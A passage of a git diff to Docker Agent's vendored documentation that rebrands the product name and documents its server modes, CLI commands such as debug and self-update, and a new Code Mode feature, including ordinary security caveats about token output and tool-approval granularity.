b/_vendor/github.com/docker/docker-agent/docs/demo.gif differ diff --git a/_vendor/github.com/docker/docker-agent/docs/features/a2a/index.md b/_vendor/github.com/docker/docker-agent/docs/features/a2a/index.md index d381db784902..5cd5ac33584b 100644 --- a/_vendor/github.com/docker/docker-agent/docs/features/a2a/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/features/a2a/index.md @@ -1,6 +1,6 @@ --- title: "A2A Protocol" -description: "Expose docker-agent agents via Google's Agent-to-Agent (A2A) protocol for interoperability with other agent frameworks." +description: "Expose Docker Agent agents via Google's Agent-to-Agent (A2A) protocol for interoperability with other agent frameworks." keywords: docker agent, ai agents, features, a2a protocol weight: 60 canonical: https://docs.docker.com/ai/docker-agent/features/a2a/ @@ -8,7 +8,7 @@ aliases: - /ai/docker-agent/integrations/a2a/ --- -_Expose docker-agent agents via Google's Agent-to-Agent (A2A) protocol for interoperability with other agent frameworks._ +_Expose Docker Agent agents via Google's Agent-to-Agent (A2A) protocol for interoperability with other agent frameworks._ ## Overview @@ -54,7 +54,7 @@ $ docker agent serve a2a agentcatalog/pirate - **Auto port selection** — Picks an available port if not specified - **Agent card** — Provides standard A2A agent metadata -- **Full docker-agent features** — Supports all tools, models, and gateway features +- **Full Docker Agent features** — Supports all tools, models, and gateway features - **Multiple sources** — Load agents from files or the agent catalog > [!TIP] diff --git a/_vendor/github.com/docker/docker-agent/docs/features/acp/index.md b/_vendor/github.com/docker/docker-agent/docs/features/acp/index.md index ac04d04b256b..82f81086db25 100644 --- a/_vendor/github.com/docker/docker-agent/docs/features/acp/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/features/acp/index.md @@ -1,6 +1,6 @@ --- title: "ACP (Agent Client Protocol)" -description: "Expose docker-agent agents via the Agent Client Protocol for integration with ACP-compatible hosts like VS Code, IDEs, and other developer tools." +description: "Expose Docker Agent agents via the Agent Client Protocol for integration with ACP-compatible hosts like VS Code, IDEs, and other developer tools." keywords: docker agent, ai agents, features, acp (agent client protocol) linkTitle: "ACP" weight: 70 @@ -9,11 +9,11 @@ aliases: - /ai/docker-agent/integrations/acp/ --- -_Expose docker-agent agents via the Agent Client Protocol for integration with ACP-compatible hosts like VS Code, IDEs, and other developer tools._ +_Expose Docker Agent agents via the Agent Client Protocol for integration with ACP-compatible hosts like VS Code, IDEs, and other developer tools._ ## Overview -The `docker agent serve acp` command starts an ACP server that communicates over **stdio** (standard input/output). This makes it ideal for integration with editors, IDEs, and other tools that spawn agent processes — the host sends JSON-RPC messages to docker-agent's stdin and reads responses from stdout. +The `docker agent serve acp` command starts an ACP server that communicates over **stdio** (standard input/output). This makes it ideal for integration with editors, IDEs, and other tools that spawn agent processes — the host sends JSON-RPC messages to Docker Agent's stdin and reads responses from stdout. ACP is built on the [ACP Go SDK](https://github.com/coder/acp-go-sdk) and provides a standardized way for client applications to interact with AI agents. @@ -42,7 +42,7 @@ $ docker agent serve acp ./agent.yaml --session-db ./my-sessions.db 1. The host application spawns `docker agent serve acp agent.yaml` as a child process 2. Communication happens over **stdin/stdout** using the ACP protocol -3. The host sends user messages, docker-agent processes them through the agent +3. The host sends user messages, Docker Agent processes them through the agent 4. Agent responses, tool calls, and events stream back to the host 5. Sessions are persisted in a SQLite database for continuity @@ -58,7 +58,7 @@ Host Application - **Stdio transport** — No network ports needed; ideal for subprocess integration - **Session persistence** — SQLite-backed sessions survive process restarts -- **Full agent support** — All docker-agent features work: tools, multi-agent, model fallbacks +- **Full agent support** — All Docker Agent features work: tools, multi-agent, model fallbacks - **Multi-agent configs** — Team configurations with sub-agents work transparently - **Filesystem operations** — Agents can read/write files relative to the host's working directory @@ -84,7 +84,7 @@ docker agent serve acp | [flags] ## Integration Example -A host application would spawn docker-agent as a subprocess and communicate via the ACP protocol: +A host application would spawn Docker Agent as a subprocess and communicate via the ACP protocol: ```javascript // Pseudocode for an IDE extension @@ -109,7 +109,7 @@ child.stdout.on("data", (data) => { > [!TIP] > **When to use ACP** > -> Use ACP when building **IDE integrations**, **editor plugins**, or any tool that wants to embed a docker-agent agent as a subprocess. For HTTP-based integrations, use the [API Server](../api-server/index.md) instead. +> Use ACP when building **IDE integrations**, **editor plugins**, or any tool that wants to embed a Docker Agent agent as a subprocess. For HTTP-based integrations, use the [API Server](../api-server/index.md) instead. > [!NOTE] > **See also** diff --git a/_vendor/github.com/docker/docker-agent/docs/features/api-server/index.md b/_vendor/github.com/docker/docker-agent/docs/features/api-server/index.md index a7e452c74414..0e9c4e80268a 100644 --- a/_vendor/github.com/docker/docker-agent/docs/features/api-server/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/features/api-server/index.md @@ -46,7 +46,7 @@ All endpoints are under the `/api` prefix. | `GET` | `/api/sessions/:id` | Get a session by ID (messages, tokens, permissions) | | `GET` | `/api/sessions/:id/status` | Lightweight runtime state (streaming, title, agent, tokens). Requires an attached runtime. | | `GET` | `/api/sessions/:id/snapshot` | Full state in one call (stored fields + runtime state + `last_event_seq`) for gapless resync — see [Reconnecting without gaps](#reconnecting-without-gaps). | -| `GET` | `/api/sessions/:id/events` | Live session event stream (SSE) with sequence numbers and replay. Available for a run attached via [`--listen`](#listen). | +| `GET` | `/api/sessions/:id/events` | Live session event stream (SSE) with sequence numbers and replay. Available for a run attached via [`--listen`](#listen), or once a session has raised at least one out-of-band event (e.g. a background job's elicitation, answered via `POST .../elicitation`), which creates a session-scoped event log on demand carrying such out-of-band events — see [Session event stream](#session-event-stream-and-reconnection) for what each kind of log contains. | | `DELETE` | `/api/sessions/:id` | Delete a session | | `PATCH` | `/api/sessions/:id/title` | Update session title | | `PATCH` | `/api/sessions/:id/permissions` | Update session permissions | @@ -55,7 +55,7 @@ All endpoints are under the `/api` prefix. | `PATCH` | `/api/sessions/:id/messages/:msg_id` | Update an existing message by ID. Returns `409 Conflict` while the session has an active run. | | `POST` | `/api/sessions/:id/resume` | Resume a paused session (after tool confirmation) | | `POST` | `/api/sessions/:id/tools/toggle` | Toggle auto-approve (YOLO) mode | -| `POST` | `/api/sessions/:id/elicitation` | Respond to an MCP tool elicitation request | +| `POST` | `/api/sessions/:id/elicitation` | Respond to an MCP tool elicitation request. Pass the `elicitation_id` from the `elicitation_request` event to target a specific concurrent request; omitted, it resolves the sole pending one. | | `POST` | `/api/sessions/:id/steer` | Inject messages into a running turn (pre-empts current) | | `POST` | `/api/sessions/:id/followup` | Enqueue messages to run after the current turn finishes (supports an `Idempotency-Key` — see [Idempotent follow-ups](#idempotent-follow-ups)). | | `GET` | `/api/sessions/:id/models` | List available models for the session's current agent | @@ -186,12 +186,12 @@ docker agent serve api | [flags] | `--pull-interval` | `0` (disabled) | Auto-pull OCI reference every N minutes | | `--fake` | (none) | Replay AI responses from cassette file (testing) | | `--record` | (none) | Record AI API interactions to cassette file. Routes through `--models-gateway` when one is configured. | -| `--mcp-oauth-redirect-uri` | (none) | Public HTTPS URL advertised as the OAuth `redirect_uri` for unmanaged MCP OAuth flows. When set, docker-agent drives PKCE and code exchange in-process and sends the full authorize URL to the client via elicitation. See [Remote MCP](../remote-mcp/index.md) for details. | +| `--mcp-oauth-redirect-uri` | (none) | Public HTTPS URL advertised as the OAuth `redirect_uri` for unmanaged MCP OAuth flows. When set, Docker Agent drives PKCE and code exchange in-process and sends the full authorize URL to the client via elicitation. See [Remote MCP](../remote-mcp/index.md) for details. | > [!TIP] > **Live profiling (advanced)** > -> For production diagnostics, set the `CAGENT_PPROF_ADDR` environment variable (or the hidden `--pprof-addr` flag) to a TCP address such as `127.0.0.1:6060`. docker-agent will start a Go pprof HTTP server at `/debug/pprof/`, which you can query with `go tool pprof`. Use a loopback address — a non-loopback binding logs a security warning. This flag is intentionally hidden from `--help`. +> For production diagnostics, set the `CAGENT_PPROF_ADDR` environment variable (or the hidden `--pprof-addr` flag) to a TCP address such as `127.0.0.1:6060`. Docker Agent will start a Go pprof HTTP server at `/debug/pprof/`, which you can query with `go tool pprof`. Use a loopback address — a non-loopback binding logs a security warning. This flag is intentionally hidden from `--help`. > [!TIP] > **Multi-agent configs** @@ -257,7 +257,16 @@ session's runtime events — `stream_started`, `agent_choice`, `tool_call`, per-request stream returned by the agent-execution endpoint, it is session-scoped and survives across turns, so a client can watch a session for its whole lifetime. It is available for a run attached via -[`--listen`](#listen). +[`--listen`](#listen), and — since a session-scoped event log is created on +demand the first time a session raises an out-of-band event, such as an +`elicitation_request` from a background job — for any API-created session +that has produced at least one (see the +[Sessions endpoint table](#sessions) above). The two kinds of log differ in +coverage: a `--listen` run feeds its full runtime event stream into the log, +while an on-demand log for an API-created session carries the session's +out-of-band events — not necessarily all ordinary turn events, which flow on +the per-request SSE stream of the [agent-execution](#agent-execution) +request that runs the turn. Each event carries a monotonic **sequence number** in the SSE `id:` field, and the server buffers recent events. This makes the stream resumable: diff --git a/_vendor/github.com/docker/docker-agent/docs/features/chat-server/index.md b/_vendor/github.com/docker/docker-agent/docs/features/chat-server/index.md index bf7efcf559cd..8c212da15ac8 100644 --- a/_vendor/github.com/docker/docker-agent/docs/features/chat-server/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/features/chat-server/index.md @@ -1,12 +1,12 @@ --- title: "Chat Server" -description: "Expose your agents through an OpenAI-compatible Chat Completions API so any tool that already speaks OpenAI can drive a docker-agent agent." +description: "Expose your agents through an OpenAI-compatible Chat Completions API so any tool that already speaks OpenAI can drive a Docker Agent agent." keywords: docker agent, ai agents, features, chat server weight: 90 canonical: https://docs.docker.com/ai/docker-agent/features/chat-server/ --- -_Expose your agents through an OpenAI-compatible Chat Completions API so any tool that already speaks OpenAI can drive a docker-agent agent._ +_Expose your agents through an OpenAI-compatible Chat Completions API so any tool that already speaks OpenAI can drive a Docker Agent agent._ ## Overview @@ -15,7 +15,7 @@ more agents through an **OpenAI-compatible Chat Completions API** at `/v1/chat/completions` and `/v1/models`. Any client that already speaks the OpenAI protocol — for example [Open WebUI](https://github.com/open-webui/open-webui), `curl`, the OpenAI -Python SDK, or LangChain — can drive a docker-agent agent without any custom +Python SDK, or LangChain — can drive a Docker Agent agent without any custom integration. ```bash @@ -38,7 +38,7 @@ $ docker agent serve chat agent.yaml --api-key-env CHAT_BEARER_TOKEN > [!TIP] > **When to use chat server vs. API server** > -> Use the **chat server** when you want to plug docker-agent into existing OpenAI-compatible tooling (chat UIs, IDE integrations, OpenAI SDK clients). Use the [API server](../api-server/index.md) when you want full control over sessions, agent execution, tool-call confirmations, and streamed runtime events. +> Use the **chat server** when you want to plug Docker Agent into existing OpenAI-compatible tooling (chat UIs, IDE integrations, OpenAI SDK clients). Use the [API server](../api-server/index.md) when you want full control over sessions, agent execution, tool-call confirmations, and streamed runtime events. ## Endpoints @@ -207,7 +207,7 @@ also accepted. ## Open WebUI Integration -Open WebUI can talk to any OpenAI-compatible endpoint. To plug docker-agent +Open WebUI can talk to any OpenAI-compatible endpoint. To plug Docker Agent in: 1. Start the chat server, optionally with auth: @@ -229,4 +229,4 @@ in: > [!NOTE] > **See also** > -> For the docker-agent–native HTTP API (sessions, tool-call confirmation, runtime events), see the [API Server](../api-server/index.md). For full CLI flag documentation, see the [CLI Reference](../cli/index.md#docker-agent-serve-chat). +> For the Docker Agent–native HTTP API (sessions, tool-call confirmation, runtime events), see the [API Server](../api-server/index.md). For full CLI flag documentation, see the [CLI Reference](../cli/index.md#docker-agent-serve-chat). diff --git a/_vendor/github.com/docker/docker-agent/docs/features/cli/index.md b/_vendor/github.com/docker/docker-agent/docs/features/cli/index.md index 1105a3ec1fac..dab2edb6c005 100644 --- a/_vendor/github.com/docker/docker-agent/docs/features/cli/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/features/cli/index.md @@ -1,6 +1,6 @@ --- title: "CLI Reference" -description: "Complete reference for all docker-agent command-line commands and flags." +description: "Complete reference for all Docker Agent command-line commands and flags." keywords: docker agent, ai agents, features, cli reference weight: 30 canonical: https://docs.docker.com/ai/docker-agent/features/cli/ @@ -8,12 +8,12 @@ aliases: - /ai/docker-agent/reference/cli/ --- -_Complete reference for all docker-agent command-line commands and flags._ +_Complete reference for all Docker Agent command-line commands and flags._ > [!TIP] > **No config needed** > -> Running `docker agent run` without a config file uses a built-in default agent. Perfect for quick experimentation. +> Running `docker agent run` without a config argument uses `docker-agent.yaml`, `docker-agent.yml`, or `docker-agent.hcl` from the current directory when present. Otherwise, it uses a built-in default agent that is perfect for quick experimentation. ## Commands @@ -30,14 +30,14 @@ $ docker agent run [config] [message...] [flags] | `-a, --agent ` | Run a specific agent from the config | | `--yolo` | Auto-approve tool calls (unless explicitly denied) | | `--model ` | Override model(s). Use `provider/model` for all agents, or `agent=provider/model` for specific agents. Comma-separate multiple overrides. | -| `--session ` | Resume a previous session. Supports relative refs (`-1` = last, `-2` = second to last). An explicit ID that does not exist yet is created with that ID, so a supervisor can own the session ID upfront and reuse it across runs. | +| `--session ` | Resume a previous session. Supports relative refs (`-1` = newest by creation time, `-2` = second-newest, … — creation order, not last-used). An explicit ID that does not exist yet is created with that ID, so a supervisor can own the session ID upfront and reuse it across runs. | | `-s, --session-db ` | Path to the SQLite session database (default: `/session.db`, so `~/.cagent/session.db` unless `--data-dir` is set) | | `--session-read-only` | Open the TUI in read-only mode: conversation history is displayed but no new messages can be sent to the LLM. Cannot be used with `--exec`. | | `--prompt-file ` | Include file contents as additional system context (repeatable) | | `--attach ` | Attach an image file to the initial message | | `--dry-run` | Initialize the agent without executing anything (useful for validating a config) | -| `--remote ` | Use a remote runtime at the given address instead of running the agent locally | -| `--listen ` | Expose this run's control plane over HTTP so an external process can drive the running TUI (send follow-ups, stream events, read the title). Accepts `host:port` or `unix://`, `npipe://`, `fd://`. See the [API Server](../api-server/index.md#listen). | +| `--remote ` | Use a remote runtime at the given address instead of running the agent locally. Mutually exclusive with `--sandbox`, `--worktree`, `--worktree-pr`, `--worktree-base`, `--session`, `--session-db`, `--record`, and `--fake` — a remote runtime owns its own session storage and execution environment, so these local-only concerns don't apply. | +| `--listen ` | Expose this run's control plane over HTTP so an external process can drive the running TUI (send follow-ups, stream events, read the title). Accepts `host:port` or `unix://`, `npipe://`, `fd://`. Hidden from `docker agent run --help` — like `debug`, it's a stable but advanced/automation-oriented flag rather than a day-to-day one. See the [API Server](../api-server/index.md#listen) guide for the full walkthrough. | | `--lean` | Use a simplified, non-alternate-screen TUI. Unlike the default full-screen TUI, this renders inline in the normal terminal buffer — useful in environments where an alternate screen is unwanted (e.g. inside tmux panes, CI with a tty, or log-friendly pipelines). Displays an ASCII art banner on startup. | | `--app-name ` | Override the application name label shown in the TUI (status bar, window title, "/exit" notifications). | | `--sidebar` | Control sidebar visibility. Set to `--sidebar=false` to hide the sidebar and disable the Ctrl+B toggle (default: `true`). | @@ -177,6 +177,16 @@ $ docker agent new --model openai/gpt-5 $ docker agent new --model dmr/ai/gemma3-qat:12B --max-iterations 15 ``` +### `docker agent getting-started` + +Run a short (about 2 minutes), skippable interactive tour inside the chat UI: sending messages, approving tool calls, the command palette (Ctrl+K), slash commands, and how agents are configured. Aliased as `docker agent tour`. Requires an interactive terminal. + +```bash +$ docker agent getting-started +``` + +Replay it anytime with this command, or with the `/getting-started` slash command inside a running TUI session. + ### `docker agent models` List models available for use with `--model`. By default only shows models for providers you have credentials for. Aliases: `docker agent models list`, `docker agent models ls`. @@ -219,7 +229,7 @@ $ docker agent toolsets --format json | jq # machine-readable (type, ### `docker agent setup` -Set up a model interactively. Three paths: pick a cloud provider, paste its API key, and choose where to store it (macOS Keychain, `pass`, or the docker agent env file `~/.config/cagent/.env`); check Docker Model Runner and pull a local model (no API key needed); or register a custom OpenAI-compatible provider (endpoint URL, API format, and API key variable) saved to your [user configuration](../../providers/custom/index.md#global-providers-user-configuration) so its models work everywhere via `--model /`. Ends with the exact command to start chatting. Secret values are never printed. +Set up a model interactively. Four paths: pick a cloud provider, paste its API key, and store it in the Docker Agent env file `~/.config/cagent/.env`; check Docker Model Runner and pull a local model (no API key needed); register a custom OpenAI-compatible provider (endpoint URL, API format, and API key variable) saved to your [user configuration](../../providers/custom/index.md#global-providers-user-configuration) so its models work everywhere via `--model /`; or set up the [Claude Code harness](../harnesses/index.md) to use a Claude subscription through the official `claude` CLI — the wizard checks that the CLI is installed and logged in, offers to run `claude auth login --claudeai` (only after you confirm), and writes a ready-to-run `claude-code-agent.yaml`. Ends with the exact command to start chatting. Secret values are never printed, and Docker Agent never reads or copies the Claude CLI's credentials. The wizard is also offered automatically when an interactive run finds no usable model (decline-able; set `DOCKER_AGENT_NO_SETUP=1` to suppress the offer). @@ -229,13 +239,13 @@ $ docker agent setup ### `docker agent doctor` -Diagnose the model and credential setup. Reports which model providers have credentials and where each credential comes from (shell environment, env file, pass, keychain, …), whether Docker Model Runner is reachable and which models are pulled, and which model the `auto` selection would pick. Secret values are never printed. Exits with a non-zero status when an issue would prevent an agent from running, which makes it usable in scripts and CI. +Diagnose the model and credential setup. Reports which model providers have credentials and where each credential comes from (shell environment, env file, Docker Desktop, …), whether Docker Model Runner is reachable and which models are pulled, and which model the `auto` selection would pick. Secret values are never printed. Exits with a non-zero status when an issue would prevent an agent from running, which makes it usable in scripts and CI. ```bash $ docker agent doctor [agent-file|registry-ref] [flags] ``` -With an agent file, also lists the environment variables that file requires (model credentials and tool secrets such as `GITHUB_PERSONAL_ACCESS_TOKEN`), whether each one is set, and from which source. +With an agent file, also lists the environment variables that file requires (model credentials and tool secrets such as `GITHUB_PERSONAL_ACCESS_TOKEN`), whether each one is set, and from which source. When the file declares a [`claude-code` harness](../harnesses/index.md) agent, the doctor additionally checks that the official `claude` CLI is installed and logged in, reporting its version and safe login metadata (auth method, API provider, subscription type — never your email, organization, or tokens); a missing or logged-out CLI is reported as an issue with the `claude auth login --claudeai` remediation. | Flag | Default | Description | | ------------------------ | ------- | -------------------------------------------------------------- | @@ -359,7 +369,7 @@ See [ACP](../acp/index.md) for details on the Agent Client Protocol. ### `docker agent serve chat` -Start an HTTP server that exposes one or more agents through an **OpenAI-compatible Chat Completions API** at `/v1/chat/completions` and `/v1/models`. This lets any tool that already speaks the OpenAI protocol — for example [Open WebUI](https://github.com/open-webui/open-webui), `curl`, the OpenAI Python SDK, or LangChain — drive a docker-agent agent without any custom integration. +Start an HTTP server that exposes one or more agents through an **OpenAI-compatible Chat Completions API** at `/v1/chat/completions` and `/v1/models`. This lets any tool that already speaks the OpenAI protocol — for example [Open WebUI](https://github.com/open-webui/open-webui), `curl`, the OpenAI Python SDK, or LangChain — drive a Docker Agent agent without any custom integration. ```bash $ docker agent serve chat [flags] @@ -577,6 +587,72 @@ $ docker agent sandbox deny api.example.com Entries are unioned with the gateway, the kit-resolved tool install hosts, and any `runtime.network_allowlist` declared by the agent. The launch summary lists every source separately so you can see which holes were punched by which layer. +### `docker agent debug` + +Troubleshooting subcommands for inspecting how an agent config resolves and generating diagnostic output — useful when a config isn't behaving the way you expect. `debug` doesn't appear in `docker agent --help` (it's a diagnostic surface, not a day-to-day command), but every subcommand below is stable and fully supported. + +```bash +$ docker agent debug [flags] +``` + +| Subcommand | Description | +| ---------- | ----------- | +| `config ` | Print the fully-resolved, canonical form of an agent's configuration (defaults applied, references resolved). | +| `toolsets ` | List every toolset each agent in the config exposes, with each tool's name and description. | +| `skills ` | List the skills discovered for each agent, marking forked skills. | +| `title ` | Generate a session title for `` using the same title-generation path the TUI uses (including any configured `title_model`), without starting a session. See [Session Titles](../sessions/index.md#session-titles). | +| `auth` | Print parsed Docker Desktop authentication info from the locally stored JWT (subject, issuer, expiry, username/email). Add `--json` for machine-readable output. | +| `oauth list` | List stored MCP OAuth tokens (resource, scope, expiry, redacted access token). Add `--json` for machine-readable output. | +| `oauth remove ` | Remove a stored MCP OAuth token. | +| `oauth login ` | Perform an interactive OAuth login for a remote MCP server declared in the config, by its name or URL. See [Remote MCP Servers](../remote-mcp/index.md). | + +```bash +# Examples +$ docker agent debug config agent.yaml +$ docker agent debug toolsets agent.yaml +$ docker agent debug skills agent.yaml +$ docker agent debug title agent.yaml "How do I configure a fallback model?" +$ docker agent debug auth --json +$ docker agent debug oauth list +$ docker agent debug oauth login agent.yaml github +``` + +> [!WARNING] +> **`debug auth --json` prints the full bearer token** +> +> The text output of `debug auth` truncates the token to a short preview, but `--json` includes the complete, unredacted JWT in its `token` field. Never paste `debug auth --json` output into logs, issue trackers, or bug reports — anyone with that token can act as you against Docker Desktop's backend. Use the plain-text output (or redact the `token` field yourself) when sharing diagnostic output. + +The `config`, `toolsets`, `skills`, and `title` subcommands also accept [runtime configuration flags](#runtime-configuration-flags) (`--working-dir`, `--models-gateway`, …); `title` additionally accepts `--model` to override the model used to resolve the config before generating the title. + +### `docker agent completion` + +Generate a shell completion script for `bash`, `zsh`, `fish`, or `powershell`. + +```bash +$ docker agent completion + +# Examples +# Bash: load for the current session +$ source <(docker agent completion bash) + +# Zsh: install permanently (adjust the path for your $fpath) +$ docker agent completion zsh > "${fpath[1]}/_docker-agent" +``` + +Run `docker agent completion --help` for shell-specific installation instructions. + +### Self-update + +When installed from a standalone GitHub release binary, Docker Agent can opt in to updating itself. It's disabled by default; set `DOCKER_AGENT_AUTO_UPDATE` to a truthy value (`1`, `true`, `yes`, `on`) to enable it for a command or a shell session: + +```bash +$ DOCKER_AGENT_AUTO_UPDATE=1 docker agent run +``` + +When enabled, every command checks the latest GitHub release before running. If a newer release exists, an interactive session asks whether to install it; a non-interactive session (CI, piped input) proceeds automatically. On yes, Docker Agent downloads the asset for your OS/architecture, verifies its checksum, replaces the current binary, and re-executes with the same arguments. The whole mechanism is fail-safe: any failure at any step falls back to running the current binary. Self-update never triggers for `version`, `help`, `--help`/`-h` (including per-subcommand help), `completion`, or the Docker CLI plugin metadata handshake. + +See [Optional Self-Updates](../../getting-started/installation/index.md#optional-self-updates) for the full walkthrough. Docker Desktop and Homebrew installs already manage updates and don't need this. + ## Global Flags These flags are available on every `docker agent` command: @@ -593,7 +669,7 @@ These flags are available on every `docker agent` command: ### OpenTelemetry environment variables -When `--otel` is enabled, the standard [OTel SDK env vars](https://opentelemetry.io/docs/specs/otel/configuration/sdk-environment-variables/) are honored (`OTEL_EXPORTER_OTLP_ENDPOINT`, `OTEL_RESOURCE_ATTRIBUTES`, etc.). Two additional docker-agent-specific variables control GenAI instrumentation: +When `--otel` is enabled, the standard [OTel SDK env vars](https://opentelemetry.io/docs/specs/otel/configuration/sdk-environment-variables/) are honored (`OTEL_EXPORTER_OTLP_ENDPOINT`, `OTEL_RESOURCE_ATTRIBUTES`, etc.). Two additional Docker Agent-specific variables control GenAI instrumentation: | Variable | Default | Description | | -------- | ------- | ----------- | @@ -616,6 +692,7 @@ These flags are accepted by every command that loads an agent (`run`, `run --exe | `--hook-session-end ` | Add a session-end hook command (repeatable). | | `--hook-on-user-input ` | Add an on-user-input hook command (repeatable). | | `--hook-stop ` | Add a stop hook command, fired when the model finishes responding (repeatable). | +| `--mcp-oauth-redirect-uri ` | Public HTTPS URL to advertise as the OAuth `redirect_uri` for MCP servers running in unmanaged OAuth mode. When set, docker-agent drives PKCE and the code exchange in-process instead of expecting the client to. See [Remote MCP](../remote-mcp/index.md) for details. | ## Agent References @@ -627,7 +704,7 @@ Commands that accept a config support multiple reference types: | OCI registry | `docker.io/username/agent:latest` | | Agent catalog | `agentcatalog/pirate` | | Alias | `pirate` (after `docker agent alias add`) | -| Default | (no argument) — uses built-in default agent | +| Default | (no argument) — uses project config or built-in default agent | > [!NOTE] > **Debugging** diff --git a/_vendor/github.com/docker/docker-agent/docs/features/code-mode/index.md b/_vendor/github.com/docker/docker-agent/docs/features/code-mode/index.md new file mode 100644 index 000000000000..0eadb4fa7f5e --- /dev/null +++ b/_vendor/github.com/docker/docker-agent/docs/features/code-mode/index.md @@ -0,0 +1,66 @@ +--- +title: "Code Mode" +description: "Let an agent write JavaScript that orchestrates several tool calls in one turn instead of calling tools one at a time." +keywords: docker agent, ai agents, features, code mode +weight: 115 +canonical: https://docs.docker.com/ai/docker-agent/features/code-mode/ +--- + +_Let an agent write JavaScript that orchestrates several tool calls in one turn instead of calling tools one at a time._ + +## What Code Mode Is + +By default, a model calls one tool at a time: it emits a tool call, waits for the result, then decides what to call next. For a task that chains many tool calls together — "list every open issue, then for each one fetch its comments, then summarize" — that means one model round-trip per step. + +**Code Mode** replaces the agent's individual tools with a single tool, `run_tools_with_javascript`, that runs a JavaScript script. Every tool the agent would otherwise call directly is exposed to that script as a plain JavaScript function (synchronous — no `await`/`async` needed). The model writes a script that calls as many of them as it needs, combines and filters the results, and returns a single string — all in one tool call. + +## Enabling Code Mode + +Set `code_mode_tools: true` on an agent: + +```yaml +# examples/code_mode.yaml +agents: + root: + model: anthropic/claude-sonnet-4-5 + description: Demonstrates the use of Code Mode with tools + instruction: Use your tool to help the user with their github requests. + code_mode_tools: true + commands: + demo: How many issues in docker/docker-agent have a number that is prime? + toolsets: + - type: mcp + ref: docker:github-official +``` + +Every toolset configured on the agent (the GitHub MCP server here) is wrapped: the model no longer sees the individual GitHub tools, only `run_tools_with_javascript`, with each wrapped tool documented as a JSDoc-commented function signature inside its description. + +To force Code Mode for every agent in a run regardless of their individual config, use the `--code-mode-tools` CLI flag (or the equivalent `--code-mode-tools` [runtime configuration flag](../cli/index.md#runtime-configuration-flags), accepted by `run`, `run --exec`, `serve api`, `serve mcp`, and the other commands that load an agent): + +```bash +$ docker agent run agent.yaml --code-mode-tools +``` + +## When It Helps + +Code Mode is worth enabling when an agent's task typically needs **many tool calls chained together**, especially with conditional logic or filtering in between — for example, paging through a large result set, cross-referencing several API calls, or reducing a large payload down to the few fields the model actually needs before it ever sees them. Each of those becomes one model turn instead of many, which cuts both latency and token spend on tool-call/response round-trips. + +It is not a general-purpose replacement for direct tool calls: for an agent that mostly makes one or two independent tool calls per turn, Code Mode adds the overhead of writing and reasoning about a script for no real benefit. + +## Limits & Security Notes + +- **One string result.** The script must return a string; use `console.*` inside the script to print debug information if something doesn't behave as expected — it comes back as `stdout`/`stderr` alongside the result. +- **Failures are diagnosable.** If the script throws or returns unexpectedly, the response includes the tool calls it made before failing (name, arguments, and result or error), so the model can see what happened and adjust the script on the next attempt. +- **Not every tool is wrapped.** Tools in the `todo` category are excluded from the script environment and stay directly callable as ordinary tools — Code Mode does not replace them. +- **The script runs in an embedded, sandboxed JS engine** ([goja](https://github.com/dop251/goja)), not Node.js or a browser: there is no filesystem, network, or process access beyond the tool functions injected into it. + +## Interaction With Permissions and Tool Approval + +[Permissions](../../configuration/permissions/index.md) and interactive tool-call approval are enforced when the **runtime dispatches a tool call requested by the model** — which, with Code Mode enabled, is only `run_tools_with_javascript` itself. The individual tool calls a script makes from inside that JavaScript are invoked directly and do **not** go through a second round of permission checks or approval prompts. + +In practice this means enabling `code_mode_tools` collapses the approval granularity from "one prompt per tool call" down to "one prompt for the whole script". Treat that single approval as authorizing everything the script's toolset could do: + +> [!WARNING] +> **Coarser approval granularity** +> +> Approving a `run_tools_with_javascript` call approves every tool it might invoke internally, including ones that would otherwise need a separate `ask` or be blocked by a `deny` pattern under [Permissions](../../configuration/permissions/index.md). If an agent's toolset includes anything destructive, consider whether Code Mode's coarser granularity is acceptable for that agent before enabling it. Delegating to a separate, non-Code-Mode agent isn't a way out either: [handoff](../../tools/handoff/index.md) and [transfer_task](../../tools/transfer-task/index.md) are themselves wrapped like any other tool once `code_mode_tools` is on, but they have no code-mode-compatible handler — the model's script gets `tool "handoff" is not available in code mode` if it tries to call them. This only rules out the model *choosing* to delegate from inside the script: a configured `force_handoff` target on the agent still runs deterministically after the agent's turn naturally stops, regardless of Code Mode, since it's applied by the runtime outside the tool-call dispatch path Code Mode replaces. Keep `code_mode_tools` off any agent whose model needs to hand off or transfer to one that holds a destructive toolset. diff --git a/_vendor/github.com/docker/docker-agent/docs/features/evaluation/index.md b/_vendor/github.com/docker/docker-agent/docs/features/evaluation/index.md index 19f00a47426b..5d6a417ffa14 100644 --- a/_vendor/github.com/docker/docker-agent/docs/features/evaluation/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/features/evaluation/index.md @@ -12,7 +12,7 @@ _Measure agent quality with automated evaluations — tool call accuracy, respon ## Overview -The `docker agent eval` command runs your agent against a set of recorded sessions and scores the results. Each eval session captures a user question, the expected tool calls, and criteria the response must satisfy. docker-agent replays the question, compares the agent's behavior to expectations, and produces a report. +The `docker agent eval` command runs your agent against a set of recorded sessions and scores the results. Each eval session captures a user question, the expected tool calls, and criteria the response must satisfy. Docker Agent replays the question, compares the agent's behavior to expectations, and produces a report. > [!NOTE] > **Docker required** @@ -43,7 +43,7 @@ $ docker agent eval agent.yaml --only "auth*" --repeat 5 ## Eval Directory Structure -By default, docker-agent looks for eval sessions in an `evals/` directory next to your agent config: +By default, Docker Agent looks for eval sessions in an `evals/` directory next to your agent config: ```bash my-agent/ @@ -128,7 +128,7 @@ The `evals` object inside each session controls what gets scored: ## Scoring Metrics -docker-agent evaluates agents across three dimensions: +Docker Agent evaluates agents across three dimensions: | Metric | How It's Measured | | ------------------- | ------------------------------------------------------------------------------------------------------------------------- | @@ -170,13 +170,13 @@ $ docker agent eval | [|./evals] When `--base-image` is set, the eval harness builds a derived image on top of your base image at evaluation time. Two things happen automatically: 1. **The docker-agent binary is injected** — it is copied from `docker/docker-agent:edge` into the derived image at build time, so you don't need to include it in your base image. -2. **The entrypoint is overridden** — docker-agent replaces your base image's entrypoint with its own `/run.sh` wrapper. +2. **The entrypoint is overridden** — Docker Agent replaces your base image's entrypoint with its own `/run.sh` wrapper. Your base image therefore only needs to provide the runtime environment: language runtimes, installed dependencies, test fixtures, the appropriate working directory, and so on. Any `ENTRYPOINT` or `CMD` defined in your base image is ignored. ## Output -After a run completes, docker-agent produces: +After a run completes, Docker 